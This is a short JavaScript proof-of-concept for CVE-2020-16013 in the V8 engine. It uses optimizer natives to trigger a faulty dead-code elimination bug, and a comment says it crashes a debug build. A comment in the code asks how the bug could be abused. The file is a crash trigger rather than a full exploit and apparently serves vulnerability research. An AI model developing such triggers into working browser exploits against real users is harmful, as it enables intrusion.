PoC CVE-2020-16013

// https://twitter.com/Xoorist
// PoC CVE-2020-16013

function foo(x,y,z) {
  let pm = ((x & 2) == y) & ((x & 4) == z);
  let px = ((x & 4) == y) & ((x & 2) == z);
  let b = pm == px;

  let obj = new Object();
  // This ends up being considered dead code and removed.
  // Feedback is actually collected in the warmup run, which results in the map of obj being updated
  if (!b) {
    obj.x = 23;
  }
  // We'll always deopt here due to the CheckMaps failure
  // How could one abuse the faulty dead code elimination logic???
  return obj.x;
}

%PrepareFunctionForOptimization(foo);
foo(6,2,4);
%OptimizeFunctionOnNextCall(foo);
// Will crash in a debug build(DCHECK)
console.log(foo(6,2,4));